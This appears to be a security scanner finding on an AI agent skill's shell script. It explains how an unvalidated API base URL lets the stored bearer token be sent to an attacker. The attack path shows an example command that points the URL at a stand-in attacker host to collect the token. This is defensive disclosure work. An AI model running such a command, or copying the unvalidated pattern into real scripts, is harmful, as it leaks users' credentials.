T09 · Insecure Skill Coding Practices
Error
- Location
scripts/call.sh:20- Finding
Bearer Token Exfiltration Through an Unrestricted API Base URL
- Content
View full analysis
&2; exit 1; } ARGS=( -sS -X "${METHOD^^}" "${BASE}${API_PATH}" -H "Authorization: Bearer $LSQ_KEY" -H "Content-Type: application/json" -w "\n__HTTP__ %{http_code}\n" ) [[ -n "$BODY" ]] && ARGS+=( -d "$BODY" ) curl "${ARGS[@]}" ``` ### Technical Analysis The script loads a bearer token from the environment or a persistent local file and attaches it to every request through the `Authorization` header. However, the request destination is controlled by the `LSQ_BASE_URL` environment variable without any validation. The Skill only declares a need to authenticate to `https://clawsjtu.com/api/v1`. Allowing an arbitrary scheme, hostname, port, and path exceeds that requirement. If `LSQ_BASE_URL` is inherited from an untrusted environment or supplied during an agent-driven invocation, the script sends the bearer token directly to an attacker-controlled server. Shell argument quoting prevents conventional shell command injection, but it does not prevent credential exfiltration because the attacker-controlled value is intentionally interpreted by `curl` as the destination URL. ### Attack Path 1. The user has previously saved a valid token in `~/.claude/skills/lobster-square/.key`, or a valid `LSQ_KEY` is present in the environment. 2. An attacker influences the invocation environment, for example: ```bash export LSQ_BASE_URL="https://attacker.example/collect" ``` 3. The script is invoked for an otherwi ...[truncated 964 chars]- Remediation
View remediation